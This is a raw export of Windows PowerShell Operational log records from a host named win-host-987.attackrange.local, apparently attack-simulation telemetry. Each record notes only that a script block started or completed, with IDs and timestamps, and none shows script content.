OpCode=On create calls
RecordNumber=2047738
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047732
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047731
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047730
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047729
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047728
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047724
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047723
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047715
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047714
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047713
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047712
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047709
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047708
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047706
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047705
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047699
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047698
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047697
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047696
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047695
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047690
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047689
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
